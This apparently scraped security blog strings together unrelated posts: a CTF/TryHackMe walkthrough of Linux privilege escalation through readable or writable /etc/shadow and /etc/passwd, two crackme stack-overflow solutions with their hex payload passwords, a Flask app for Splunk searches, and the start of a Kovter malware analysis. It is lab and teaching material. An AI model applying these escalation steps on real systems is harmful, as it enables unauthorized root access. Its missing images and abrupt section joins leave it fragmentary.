Today we'll be talking about Linux Privilege Escalation, the process of elevating your privileges on a linux system. Everything is done via a CTF and TryHackMe. i'll be adding to this until its complete.
1) Weak file Permissions
   1.1) Readable /etc/shadow
   1.2) Writable /etc/shadow
   1.3) Writable /etc/passwd

Not a huge amount here. Quick scan of the system should allow attackers to find openings of a Service Exploit
ExploitDB usually has a nice array of exploits which can be used.

The shadow file contains user passwords hashes and is usually readable only by root. However, if it can read by an attacker, there is possibility for an escalation. Below shows a world readable /etc/shadow file.

Reading the file shows the following:

Quick rundown courtesy of /etc/shadow courtesy of  cyberciti.biz (Below if from their website):

" Basically, the /etc/shadow file stores secure user account information. All fields are separated by a colon (:) symbol. It contains one entry per line for each user listed in /etc/passwd file. Generally, shadow file entry looks as follows (click to enlarge image):
/etc/shadow file format (click to enlarge)

As with the /etc/passwd, each field in the shadow file is also separated with “:” colon characters as follows:

1. Username : A valid account name, which exist on the system.
2. Password : Your encrypted password is in hash format. The password should be minimum 15-20 characters long including special characters, digits, lower case alphabetic and more. Usually password format is set to $id$salt$hashed, The $id is the algorithm used On GNU/Linux as follows:
   1. $1$ is MD5
   2. $2a$ is Blowfish
   3. $2y$ is Blowfish
   4. $5$ is SHA-256
   5. $6$ is SHA-512
3. Last password change (lastchanged) : The date of the last password change, expressed as the number of days since Jan 1, 1970 (Unix time). The value 0 has a special meaning, which is that the user should change her password the next time she will log in the system. An empty field means that password aging features are disabled.
4. Minimum : The minimum number of days required between password changes i.e. the number of days left before the user is allowed to change her password again. An empty field and value 0 mean that there are no minimum password age.
5. Maximum : The maximum number of days the password is valid, after that user is forced to change her password again.
6. Warn : The number of days before password is to expire that user is warned that his/her password must be changed
7. Inactive : The number of days after password expires that account is disabled.
8. Expire : The date of expiration of the account, expressed as the number of days since Jan 1, 1970.

"

Onto cracking the hash via hashcat:

Finally the hash is cracked :)

Log into root

Idea behind this one is simple. If the etc/shadow file is writable, perhaps we can write ourselves into the file? Below shows the file is world writable:

Create a new password via:

place the new hash into the etc/shadow file,

Much like the one above, if the etc/passwd file is writable, you can place your own user in or edit a current one. Again the file in question is world writable:

Create new password hash for passwd file.

Save the file and switch to he root user

First stack overflow
 
Again, notice how It says the password has to be between 8 and 16 characters? Good clue.
Furthermore, inputting 17 characters causes the program to crash
​

Looking through the code we can see there are no cmp functions. It is therefore reasonable to believe a overflow is required to redirect input to the unlock function.
Entering x > 16 shows the stack being overwritten which confirms a stack overflow:

​

​We can input the value of unlock_door function to overwrite the stack and open the door
 
Password: 414141414141414141414141414141414644

​This level was also simple although a bit harder than the previous levels.
 
The main function is extremely short, passing off much of the work to the login function.
Here it prints out the a series of strings using a puts function. The most important string being:
 
“Remember: passwords are between 8 and 16 characters:”.
 
Due to this we can assume some kind of overflow is expected. Later on within the function it tries to compare hex value 0x11 with memory address &0x2410.
To do so, the final (17th) character would need to be a hex encoded character. This would be 11

Password: ​4141414141414141414141414141414211

​I created a little web application in python which can retrieve search results from splunk, displaying them neatly on the webpage.
 
I envision it being used by engineers to check whether devices/Universal forwarders are logging to splunk. Code available on my Github

​
Let’s begin
​

​I wrote the webapp in python using the flask web framework. My reasoning for this was that flask is lightweight and fast with little complications. This is in contrast to what I’ve heard with other frameworks such as Django, which is not ideal for small application as it can be quite cumbersome.
 
Intro
 
The application is comprised of the following:
 
1)SplunkLoggingChecker.py – This is the core of the program
2)*.html files which are called upon when needed.
2.1) device_not_found.html – self explanatory
2.2) about.html – About page
2.3) search.html – Home page
 
Lets go through each file to gain an understanding of how it works.
 
SplunkLoggingChecker.py
 
The core mechanics is simple, SplunkLoggingChecker will connect into splunk, run searches and then retrieve the output. This is done by connecting into splunk web port (in my case http://localhost:8089) using an account created on splunk search head. Its best practice to limit the capabilities of this account. Failure to do so, could lead to data leak. However even this is unlikely due to the way searches are constructed (more on this later).
 
Credentials to the splunk account can be hardcoded as shown below:
​

​Password has been obfuscated and is contained within its own module:
​

Not complicated to reverse engineer but choice is yours. 
 
Next the application is where searches which will be sent to splunk are located. Notice how the hosts and hostuf inputs are concatenated into the search string. This means that wildcards can be used. There is also additional protection in the form of input validation to prevent malicious behaviour:

​The application will then attempt to connect into the splunk instance using the username and password

​It will then try to parse the results, save them to an array and iterate through them before sending them to results.html to be displayed.

​If no results are found, the following is shown

​​The application also has other pages and error handling capabilities. If presented with a 404 error, it returns page not found. It also has an about page for more detail on its usage.
 
SplunkLoggingChecker.py – Logging capability
 
The application uses Python logging module to write logs to a .log file as shown below

​Whenever a problem or logging information could occur the following is placed in to capture it:
 
app.logger.error(“[Error message of your choice]”)

The log file shown below:
​

​You can then try to ingest the log file back into splunk for bonus points:

​Results.html
 
Not as complicated as SplunkLoggingChecker.py but still deserving of its own section. This receives the results from SplunkLoggingChecker.py and prints out each element of the array using a for loop as shown below:

Quick diagram for overview

​So there’s my python flask web application to retrieve search results from splunk. Try not to critique the coding practices too hard :D. Nevertheless hope it was informative or at least entertaining.

​Today we are going to talk about analysing the Kovter malware. For those unfamiliar with Kovter, it gained fame in 2015 for being one of the more prominent attacks which utilised living of the land attacks.  Before we begin, there are several concepts which must be explained

1) living off the land – Living off the land refers to using native or signed scripts/binaries to further an attackers goal 

2) Sysmon – Sysmon refers to a tool created by Microsoft which enhances Microsoft wineventlog by providing addition logging based on event codes. It also allows for the customisation as it can ingests a XML with custom command which can monitor select files/ports as shown below 
​

Lab Setup
​

As you can see, the fields all appear to have data in the fields. However clicking on the value htavir (probably after hta virus, why though?) shows no data. In fact clicking and attempting to edit the box failed. After dumping the registry hive to disk and analysing, I believe the issue is this highlighted below:​